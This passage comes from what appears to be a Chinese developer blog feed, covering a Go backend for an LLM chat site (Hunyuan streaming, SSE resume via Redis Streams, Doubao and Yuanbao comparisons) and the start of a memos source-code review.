<code>SSEvent</code>。我们可以先对混元大模型做简单的函数封装,从 SDK 的 channel 中提出大模型对话返回的 <code>Content</code> 正文,再打到函数返回值的 <code>channel</code> 中,精简后的代码如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (h <span style="color:#ff7b72;font-weight:bold">*</span>Hunyuan) <span style="color:#d2a8ff;font-weight:bold">TextCompletions</span>(ctx context.Context, input TextCompletionsInput) (<span style="color:#ff7b72">chan</span> <span style="color:#ff7b72">string</span>, <span style="color:#ff7b72">error</span>) { </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// ...</span> </span></span><span style="display:flex;"><span>eventsCh <span style="color:#ff7b72;font-weight:bold">:=</span> response.BaseSSEResponse.Events <span style="color:#8b949e;font-style:italic">// 腾讯云 SDK 输出</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> event <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> eventsCh { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> event.Err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> logrus.<span style="color:#d2a8ff;font-weight:bold">WithContext</span>(ctx).<span style="color:#d2a8ff;font-weight:bold">WithError</span>(event.Err).<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to get event&#34;</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> eventData <span style="color:#ff7b72;font-weight:bold">:=</span> event.Data </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> respParams hunyuan.ChatCompletionsResponseParams </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> json.<span style="color:#d2a8ff;font-weight:bold">Unmarshal</span>(eventData, <span style="color:#ff7b72;font-weight:bold">&amp;</span>respParams); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> logrus.<span style="color:#d2a8ff;font-weight:bold">WithContext</span>(ctx).<span style="color:#d2a8ff;font-weight:bold">WithError</span>(err).<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to unmarshal event data&#34;</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> len(respParams.Choices) <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> choice <span style="color:#ff7b72;font-weight:bold">:=</span> respParams.Choices[<span style="color:#a5d6ff">0</span>] <span style="color:#8b949e;font-style:italic">// 默认取第一个结果,貌似我从没见过会有第二个</span> </span></span><span style="display:flex;"><span> outputChan <span style="color:#ff7b72;font-weight:bold">&lt;-</span> <span style="color:#ff7b72;font-weight:bold">*</span>choice.Delta.Content <span style="color:#8b949e;font-style:italic">// 打到函数返回值的 channel 里</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> close(outputChan) </span></span><span style="display:flex;"><span>}() </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// ...</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>我这里直接默认选第一个 <code>Choices</code> ,将 <code>Content</code> 正文放到 <code>channel</code> 里。JSON 反序列化那块,硬要扣的话也可以改用 sonic。</p> <p>具体到对话接口的设计上,与那些自用的套壳站不同,我们是要给第三方用户使用的,在接口的入参上<strong>不能像那些自用站一样每次都将整个对话完整的 <code>messages</code> 发给后端处理</strong>,应该尽可能缩减用户前端可控的参数范围。前端只能传入对话 ID、父消息 ID、提问消息正文;历史消息链的拼接和 <code>messages</code> 参数的构造全都应该在后端完成。</p> <p>对话接口先响应 <code>Content-Type: text/event-stream</code> 头,然后发送一条类型 <code>event:metadata</code> 的消息告诉前端当前对话 ID 和消息 ID,之后就从大模型的 <code>channel</code> 里读消息,写入 <code>ResponseWriter</code> 即可。</p> <p>大模型接口返回的是逐 Token 生成的内容,这里其实又有一个抉择,SSE 的每条消息,是返回当下完整的消息内容,还是返回新增的 Token 内容呢?</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// 返回当下完整的内容 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span>{<span style="color:#7ee787">&#34;v&#34;</span>:<span style="color:#a5d6ff">&#34;你好,很&#34;</span>} </span></span><span style="display:flex;"><span>{<span style="color:#7ee787">&#34;v&#34;</span>:<span style="color:#a5d6ff">&#34;你好,很高兴认识你&#34;</span>} </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// 返回新增内容 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span>{<span style="color:#7ee787">&#34;v&#34;</span>:<span style="color:#a5d6ff">&#34;你好,很&#34;</span>} </span></span><span style="display:flex;"><span>{<span style="color:#7ee787">&#34;v&#34;</span>:<span style="color:#a5d6ff">&#34;高兴&#34;</span>} </span></span><span style="display:flex;"><span>{<span style="color:#7ee787">&#34;v&#34;</span>:<span style="color:#a5d6ff">&#34;认识你&#34;</span>} </span></span></code></pre></div><p>现在大家都是选择后者。我担心的点是如果选择后者,前端拼接字符串时会不会有概率乱掉。我在不断测试豆包的时候遇到过一次,但这也是极端情况,实际后端文本是正常的,刷新一下就好了。因此我也随大流选择了返回每次新增的内容。😁</p> <p><img src="https://github.red/images/2025/03/doubao-delta-text-mistake.png" alt="豆包生成文本错位"></p> <p>由于我前端处理 SSE 使用的是 <a href="https://www.npmjs.com/package/eventsource-client">eventsource-client</a> 这个库,它在传入对话接口的 URL 后,就只能处理 SSE 格式的响应了。因此这个对话接口的报错,也只能以写入单条 SSE 消息的形式返回,使用 <code>event: error</code> 来区分。</p> <h2 id="对话标题生成">对话标题生成</h2> <p>在对话生成结束后,需要判断当前是否为新对话,是的话则需要再调用大模型,让其生成对话标题。生成的对话标题入库存储,同时 SSE 发送一条 <code>event: title</code> 类型的消息,通知前端更新页面上的对话标题。</p> <p>我这里的 Prompt 写得比较粗糙,你可以根据上文中提到的 NextChat 和 open-webui 的 Prompt 自己再改改。以及是将提问内容放在单独的 <code>user</code> 消息中,还是直接拼在 System Prompt 中,这里也可以再钻研下。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">if</span> isNewChat { </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Summarize the conversation title from LLM in a new conversation.</span> </span></span><span style="display:flex;"><span> summaryOutput, err <span style="color:#ff7b72;font-weight:bold">:=</span> llmChat.<span style="color:#d2a8ff;font-weight:bold">TextCompletions</span>(ctx.<span style="color:#d2a8ff;font-weight:bold">Request</span>().<span style="color:#d2a8ff;font-weight:bold">Context</span>(), llm.TextCompletionsInput{ </span></span><span style="display:flex;"><span> Messages: []<span style="color:#ff7b72;font-weight:bold">*</span>llm.TextCompletionsMessage{ </span></span><span style="display:flex;"><span> {Role: <span style="color:#a5d6ff">&#34;system&#34;</span>, Content: <span style="color:#a5d6ff">&#34;请根据给出的提问内容,总结生成一个不超过 10 个字的对话标题,尽可能是陈述句,仅输出对话标题,不要有任何其他的内容。&#34;</span>}, </span></span><span style="display:flex;"><span> {Role: <span style="color:#a5d6ff">&#34;user&#34;</span>, Content: <span style="color:#a5d6ff">&#34;提问内容:`&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> content <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;`&#34;</span>}, </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> SSE: <span style="color:#79c0ff">false</span>, </span></span><span style="display:flex;"><span> }) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> logrus.<span style="color:#d2a8ff;font-weight:bold">WithContext</span>(ctx.<span style="color:#d2a8ff;font-weight:bold">Request</span>().<span style="color:#d2a8ff;font-weight:bold">Context</span>()).<span style="color:#d2a8ff;font-weight:bold">WithError</span>(err).<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to get text completions of summary title&#34;</span>) </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> title <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> summaryOutput { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> db.Chats.<span style="color:#d2a8ff;font-weight:bold">Update</span>(ctx.<span style="color:#d2a8ff;font-weight:bold">Request</span>().<span style="color:#d2a8ff;font-weight:bold">Context</span>(), chat.ID, db.UpdateChatOptions{Title: title}); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> logrus.<span style="color:#d2a8ff;font-weight:bold">WithContext</span>(ctx.<span style="color:#d2a8ff;font-weight:bold">Request</span>().<span style="color:#d2a8ff;font-weight:bold">Context</span>()).<span style="color:#d2a8ff;font-weight:bold">WithError</span>(err).<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to update chat title&#34;</span>) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Set the title to the SSE response if the context is not canceled.</span> </span></span><span style="display:flex;"><span> _ = ctx.<span style="color:#d2a8ff;font-weight:bold">SSEResponse</span>(<span style="color:#a5d6ff">&#34;title&#34;</span>, title) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h2 id="对话-token-计算">对话 Token 计算</h2> <p>混元大模型本身提供了 <code>GetTokenCount</code> 接口用于计算消息中的 Token 数,20 QPS 的限制还不收费,足够我们使用了。</p> <p>从处理流程上来说,用户发起提问时,调用 <code>GetTokenCount</code> 计算提问的 Token 数;回答生成完毕后,计算并更新回答所消耗的 Token 数。为未来可能要做的 Token 付费功能铺垫。进一步,如果还要做不同套餐的上下文长度的限制,提问的长度在开始提问的时就进行判断,而对于大模型回答的长度,则是在调大模型接口时使用 <code>max_tokens</code> 参数限制。</p> <p>然而混元的 SDK 好像不能指定这个参数,只有走 OpenAI 兼容接口调用时才支持。</p> <p><img src="https://github.red/images/2025/03/simple-llm-arch.png" alt="简单的对话实现"></p> <p>我画了一张流程图来梳理目前的整个过程,带 🚀 小火箭图标的意味着这一步可以开个 goroutine 异步进行。如果上述流程没问题,那就请做紧抓稳了,我们后面要引入 SSE 断点续传功能了。</p> <h2 id="sse-断点续传">SSE 断点续传</h2> <p>这是一个各家大厂都支持的功能,但网上好像还没人讨论应该如何实现,我在相关的大模型套壳开源项目中也没有看到。</p> <p>具体来说就是,在用户提问后,前端调用了上述对话接口,页面开始逐字打出大模型的回答。就在这时用户突然刷新了页面,或者在新的浏览器标签页中打开了网页,页面上应该要接着之前的回答继续生成完。我称之为“SSE 断点续传”。</p> <p>我们拆解一下这个需求,最终的效果应该是:</p> <ul> <li>用户提问后,刷新页面,页面要能继续接着之前的回答内容生成。</li> <li>用户提问后,点击「停止」按钮,生成停止;刷新页面,要停在之前的回答内容上。</li> <li>用户提问后,刷新页面,页面继续生成;点击「停止」按钮,生成停止;再刷新页面,要停在之前的回答内容上。</li> <li>用户提问后,又在新浏览器窗口打开对话,此时两个窗口要同步生成;点击「停止」按钮,两个窗口要近乎同时停止。</li> </ul> <p>在前文中,我们直接将大模型的 Channel 和当前请求的 Response Channel 接在一起,一旦 SSE 请求被中断,HTTP 请求的 Context Cancel 后,会连带着混元大模型 SDK 生成请求的 Context 一起停止。因此,我们第一步应该是将大模型生成请求独立到一个 goroutine 中进行,且 Context 与外部 HTTP Context 隔离。</p> <p>不管是刷新还是新开多个浏览器页面,都要能获取到之前已生成的回答内容,那么生成的内容就得找个地方存下来。这个“存下来”还不是持久化存储,因为回答生成完毕后,就会入库存到 <code>Messages</code> 表的 <code>Content</code> 字段中。我们要的是一个性能好的临时存储,它最好还自带过期功能,还支持多个浏览器接收的这种消息订阅分发模式,这里很容易能想到用 Redis。</p> <p>Redis 关于消息订阅的功能有 PubSub 和 Stream。前者用于实现消息的发送与广播,但消息不会被持久化,发完就忘了;后者引入了消费组的概念,不同的消费组有单独的 position 来消费历史消息,甚至还支持 ACK 机制。那么结果就很明确了,我最终选择了 Redis Stream 来实现这个功能。</p> <p>大模型生成请求在单独的 goroutine 中进行,生成的内容打到 Redis Stream 中,Stream 的 Key 使用 <code>chat:message-stream:&lt;message_id&gt;</code> 表示。每一个前端的 SSE 请求,都是从 <code>chat:message-stream:&lt;message_id&gt;</code> 中从头开始(游标为 <code>0</code>)间接读取消息并返回。</p> <p>那么前端在进入页面后,又该如何知道当前对话还在生成中呢?我在每次调用大模型生成时都会在 Redis 里设置一个 Key,生成结束后删除。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>set chat:conversation-status:&lt;chatID&gt; &lt;messageID&gt; 5*time.Minute </span></span></code></pre></div><p>前端获取对话基本信息的 HTTP API,会通过查看这个 Key 是否存在来判断当前对话是否正在生成。如果正在生成,就直接调对话接口,发送空提问消息来开启 SSE 开始拉取回答消息。</p> <p>这个 <code>chat:conversation-status:&lt;chatID&gt;</code> 我还设置了 5 分钟的过期时间用于兜底,如果因为意外后端重启了,对话不至于一直卡在生成中的状态。</p> <p>在对话结束后,<code>chat:conversation-status:&lt;chatID&gt;</code> <code>chat:message-stream:&lt;message_id&gt;</code> 这两个 Key 都会被删除,这里会存在一个 race 的极端情况:那就是前端通过 <code>conversation-status</code> 得知对话正在生成,这个时刻之后刚好对话生成结束,前端启动 SSE 后发现 <code>message-stream</code> 被删了,这样就拉不到历史消息了。<strong>因此我在删除 <code>conversation-status</code> 后延迟了 5 秒再删除 <code>message-stream</code> 。</strong></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Delete the conversation status in redis.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> redis.<span style="color:#d2a8ff;font-weight:bold">Get</span>().<span style="color:#d2a8ff;font-weight:bold">Del</span>(ctx, conversationStatusFlagKey).<span style="color:#d2a8ff;font-weight:bold">Err</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> logrus.<span style="color:#d2a8ff;font-weight:bold">WithContext</span>(ctx).<span style="color:#d2a8ff;font-weight:bold">WithError</span>(err).<span style="color:#d2a8ff;font-weight:bold">WithField</span>(<span style="color:#a5d6ff">&#34;key&#34;</span>, conversationStatusFlagKey).<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to delete redis key&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">5</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Second) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Delete the redis stream after the chat message completion is done.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> redis.<span style="color:#d2a8ff;font-weight:bold">Get</span>().<span style="color:#d2a8ff;font-weight:bold">Del</span>(ctx, messageStreamKey).<span style="color:#d2a8ff;font-weight:bold">Err</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> logrus.<span style="color:#d2a8ff;font-weight:bold">WithContext</span>(ctx).<span style="color:#d2a8ff;font-weight:bold">WithError</span>(err).<span style="color:#d2a8ff;font-weight:bold">WithField</span>(<span style="color:#a5d6ff">&#34;stream&#34;</span>, messageStreamKey).<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;Failed to delete redis stream&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>以上,我们就实现了 SSE 消息的断点续传了。但还有一个问题:用户点击前端的「停止」按钮后,我们要能够停掉 goroutine 里正在跑的大模型请求,确保生成的消息内容就停在当下。这里我单独加了个 <code>POST /stop</code> 接口,前端调用后会将 <code>chat:conversation-status:&lt;chatID&gt;</code> 从 Redis 中直接删掉。大模型生成的 goroutine 里再开一个 goroutine 来循环查看这个 Key 是否存在,如果不存在了,就直接关掉大模型请求的 Context:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Scan for `conversationStatusFlagKey`</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// If the conversation status is not set, which means the conversation is stopped by the user.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">select</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>ctx.<span style="color:#d2a8ff;font-weight:bold">Done</span>(): </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>llmCtx.<span style="color:#d2a8ff;font-weight:bold">Done</span>(): </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">default</span>: </span></span><span style="display:flex;"><span> _, err <span style="color:#ff7b72;font-weight:bold">:=</span> redis.<span style="color:#d2a8ff;font-weight:bold">Get</span>().<span style="color:#d2a8ff;font-weight:bold">Get</span>(ctx, conversationStatusFlagKey).<span style="color:#d2a8ff;font-weight:bold">Result</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> errors.<span style="color:#d2a8ff;font-weight:bold">Is</span>(err, redispkg.Nil) { </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">llmCancel</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">1</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Second) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span></code></pre></div><p>至此,我们就完成了上述 SSE 断点续传的 4 个需求,属实不容易,这里的设计我斟酌思考了很久。我也不知道大厂们是怎么做的,如果你有更好的设计或者想法,欢迎留言和我讨论。</p> <p><img src="https://github.red/images/2025/03/breakpoint-resume-llm-arch.png" alt="带断点续传的对话实现"></p> <p>具体落实到代码上会复杂些,因为还有更新对话标题、计算 Token 等流程,很多步骤又是可以异步进行的,但互相之间又会用不同的 Context 来同步状态,然后 goroutine 中还有一堆的 <code>defer</code> ,这块的代码我打算后续梳理下流程好好美化下,现在只是停留在可用的状态。</p> <h2 id="来看看豆包和元宝">来看看豆包和元宝</h2> <p>整个开发过程中,我时常会去看豆包和元宝是怎么做的,参考他们的设计是怎样的(期间要不停地抓包和翻压缩后的 JS 文件),也和大家分享下。</p> <p>豆包的实现比较复杂,用户发送的消息在浏览器本地的 IndexDB 会存一份。当用户开启新对话提问后,由于这时新对话还没发送到后端,前端会给这个对话和消息生成一个本地的 Local ID。带着 Local ID 将请求发给后端。但正如我前面提到的,Local ID 这种由用户本地生成的数据,后端不应该给予过多的信任,因而对话 Local ID 仅被用在第一次后端生成对话 ID 前,当后端生成并返回了对话 ID 后,后续都用该对话 ID 进行查询;消息 ID 也是同理。最后接口参数会传 本地/后端 的 对话/消息 ID 共 4 个参数,但后端会优先使用后端生成的 ID。我对着这个接口排列组合测了多种情况,发现豆包都能很好的 handle 住。</p> <p>由于豆包会把消息在本地存一份,因此在页面刷新后,它是知道上次 SSE 断在哪里的。观察豆包的 SSE 返回消息,它的 JSON 中有一个自增的 <code>event_id</code> 游标字段,断点续传时会带上这个 <code>event_id</code>,SSE 接口就只会返回在这之后的消息。这样做是为了省一点传输的流量吗(?</p> <p>相对而言元宝就大道至简很多。除了我们上面提到的,元宝使用 <code>&lt;对话ID&gt;_&lt;自增索引的格式&gt;</code> 格式的消息 ID 记录线性的消息记录。关于断点续传,元宝是拿着对话 ID + 消息 ID 请求 <code>/continue</code> 接口,后端 SSE 返回全部历史消息和正在生成的消息。但如果再重放 <code>/continue</code> 接口请求,会直接 hang 住,可能这是个 Bug 吧。</p> <h2 id="再聊聊前端">再聊聊前端</h2> <p>我之前总结过 BAT 三家大厂的 AI 组件库建设情况:</p> <table> <thead> <tr> <th style="text-align: center">公司</th> <th style="text-align: center">组件库</th> <th style="text-align: left">评价</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">字节跳动</td> <td style="text-align: center">Semi Design</td> <td style="text-align: left">豆包同款,Semi Design 还支持搭配 Tailwind CSS 使用。缺点是只支持 React,很难受。然后开发团队还说提供了接口,社区可以自己实现 Vue 版本。呃呃,社区实现了,但又没完全实现,居然还要在 Vue 里写 JSX。😅</td> </tr> <tr> <td style="text-align: center">阿里巴巴(蚂蚁)</td> <td style="text-align: center">Ant DesIgn X</td> <td style="text-align: left">打开官网给我浏览器卡得半死。相比其它家有欢迎栏、提示集这类独特组件。还没深入使用过。</td> </tr> <tr> <td style="text-align: center">腾讯</td> <td style="text-align: center">TDesign</td> <td style="text-align: left">我司这个有点一言难尽。元宝前端虽然用了 TDesign 但 AI 对话那块看起来是自己写的。组件库提供的 <code>ChatInput</code> 占得空间太大了,样式还不好调,我在司内的项目是拿 TDesign 的 Input 组件自己撸了一个。<strong>(以上仅代表个人观点,我爱公司😘)</strong></td> </tr> </tbody> </table> <p>因此前端的部分我选择了 Semi Design 组件库,因为我感觉它是真的经历了 Dogfooding 做出来的,实打实的豆包同款前端。我在写的时候前端想去仿豆包的风格,然后发现现成的组件库实现不了同样的样式,便去翻豆包的前端,<strong>惊讶地发现我踩的坑他居然都踩过一遍了!</strong> 我按照豆包前端强行加 CSS style 和 class 之后,真就搞好了。</p> <p>这也是我写得第一个 React 项目,不出意外地踩了 <code>StrictMode</code> 下请求会发两次用来检查副作用的坑。🤣 这个过程跟我刚开始写 Vue 一样,一开始是很痛苦的,但写着写着突然就顿悟了,发现 React 把各种东西和功能定义成组件嵌套包起来的设计,还真有点妙。我也理解为什么 Vue 能火了,这俩入门难度确实不一样。</p> <h2 id="最后再聊聊">最后再聊聊</h2> <p>我的大模型套壳站现已部署至线上:TakoChat - <a href="https://tako.chat">https://tako.chat</a></p> <p><img src="https://github.red/images/2025/03/tako-chat-snapshot.png" alt="TakoChat"></p> <p>Tako(たこ)是日文章鱼🐙的意思。起这个名字只是我单纯觉得微软 Teams 下的章鱼动态 Emoji 很可爱。背后接的是免费版的混元大模型,所以你可以注册体验下,只是目前的功能还很基础。(不清楚阿里云那边短信验证码备案的问题是否解决了,可能会遇到部分运营商收不到短信验证码的问题,可以换不同运营商的号试试)</p> <p>你可以看到左侧有「实验室」一栏,我是打算在这里动手做做像 MCP 和 Agent 这样的小玩意。(先把坑开了,填不填再说。</p> <p>呼~ 总算把这篇写完了。我还挺自我感动的,没蹭热度,仅仅只是分享一些自己总结的心得体会,比那些营销号不知道高到哪里去了。</p> <p>至此,周末也要结束了,明天又可以上班继续修 bug 了 🤤</p> <blockquote> <p>文章头图来自 @极道寂 <a href="https://www.pixiv.net/artworks/69237248" title="PixivID 69237248">PixivID: 69237248</a></p></blockquote>memos 源码阅读笔记https://github.red/memos-review/Fri, 17 Jan 2025 23:01:23 +0800https://github.red/memos-review/<p>一直想要有一个平台,能够发些碎碎念之类,记录一下在食堂吃到的新菜式,或者分享一下有意思的事情。如果在 QQ 空间动态发,未免有些扰民了;如果在 Telegram 发,因为网络问题不是很方便;在知识星球发,很不幸我的知识星球账号莫名其妙地被停用了。</p> <p>之前刷推特时偶然发现了 <a href="https://github.com/usememos/memos">memos</a> 这个项目,定位是一个 Self-hosted 的笔记应用,但看页面很像是一个精简版的 Twitter。memos 的功能很简单,令我感到惊讶的是,它的 Repo 居然有 36000+ 的 Stars 数,确实厉害。</p> <p>碰巧 memos 也是用 Go 写,功能又这么简单,我便抽空阅读了下它的源码,也还算是小有收获,用这篇文章分享下我的心得体会。文中提到的内容可能你很早以前就知道了,还请多多包涵。</p> <p>本文使用 commit <a href="https://github.com/usememos/memos/tree/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e"><code>edc3f1d</code> </a> 的代码进行演示。</p> <h2 id="语义化版本">语义化版本</h2> <p>语义化版本(Semantic Versioning)在 Go 里面应该是用得很多了。几年前参加 GopherChina 的时候,就有人专门分享了这个。</p> <p>memos 在 <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/server/version/version.go"><code>server/version/version.go</code></a> 下记录了当前的版本号,并为使用 <code>golang.org/x/mod/semver</code> 实现了排序逻辑。值得注意的是,这里的版本号会被用于在数据库迁移(migration)中。每一个版本的数据库迁移 SQL 文件会被放置在以版本号命名的文件夹中,当执行数据库迁移时,会将这些版本号文件名进行排序,并与当前的版本号进行对比,从而选择要执行的迁移脚本。</p> <h2 id="打死都不用-orm">打死都不用 ORM</h2> <p>memos 支持 MySQL、Postgres、SQLite 三种数据库。遇到这种需要支持多种数据库的场景,我们往往会使用 ORM,就算对 ORM 存在的副作用不信任,也会选择 SQL 查询构造器(SQL Query Builder)的库来辅助我们构造 SQL。但 memos 不知道在坚持什么,硬生生地对着三套数据库后端写了三套代码!他甚至只用 <code>database/sql</code> 和对应数据库的 Driver!他甚至手写 SQL!他甚至还各种拼 SQL 查询条件的字段!</p> <p>各位可以体会下 <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/store/db/mysql/activity.go#L23-L27">store/db/mysql/activity.go#L23-L27</a></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>fields <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{<span style="color:#a5d6ff">&#34;`creator_id`&#34;</span>, <span style="color:#a5d6ff">&#34;`type`&#34;</span>, <span style="color:#a5d6ff">&#34;`level`&#34;</span>, <span style="color:#a5d6ff">&#34;`payload`&#34;</span>} </span></span><span style="display:flex;"><span>placeholder <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{<span style="color:#a5d6ff">&#34;?&#34;</span>, <span style="color:#a5d6ff">&#34;?&#34;</span>, <span style="color:#a5d6ff">&#34;?&#34;</span>, <span style="color:#a5d6ff">&#34;?&#34;</span>} </span></span><span style="display:flex;"><span>args <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">any</span>{create.CreatorID, create.Type.<span style="color:#d2a8ff;font-weight:bold">String</span>(), create.Level.<span style="color:#d2a8ff;font-weight:bold">String</span>(), payloadString} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>stmt <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">&#34;INSERT INTO `activity` (&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(fields, <span style="color:#a5d6ff">&#34;, &#34;</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;) VALUES (&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(placeholder, <span style="color:#a5d6ff">&#34;, &#34;</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;)&#34;</span> </span></span></code></pre></div><p>这段 <code>INSERT</code> 